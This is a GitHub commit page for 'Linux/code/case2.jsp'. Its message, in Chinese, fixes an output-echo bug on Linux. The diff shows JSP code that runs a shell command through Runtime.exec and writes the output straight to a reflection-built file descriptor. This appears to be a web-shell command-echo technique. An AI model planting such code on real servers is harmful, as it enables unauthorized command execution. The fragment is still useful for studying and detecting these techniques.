Skip to content

Commit e70859f

Browse files
author
feihong
committed
修复 linux 下无法回显的bug,不应该调用 os.close()
1 parent 77c94db commit e70859f

File tree

1 file changed

+2
-10
lines changed

1 file changed

+2
-10
lines changed

Linux/code/case2.jsp

Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -45,16 +45,8 @@
4545
c.setAccessible(true);
4646
4747
cmd = new String[]{"/bin/sh", "-c", "ls -l" };
48-
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
49-
50-
StringBuilder sb = new StringBuilder();
51-
while ((line = br.readLine()) != null){
52-
sb.append(line + "\n");
53-
}
48+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
5449
5550
java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(fd));
56-
os.write(sb.toString().getBytes());
57-
58-
br.close();
59-
os.close();
51+
os.write(res.getBytes());
6052
%>

0 commit comments

Comments
 (0)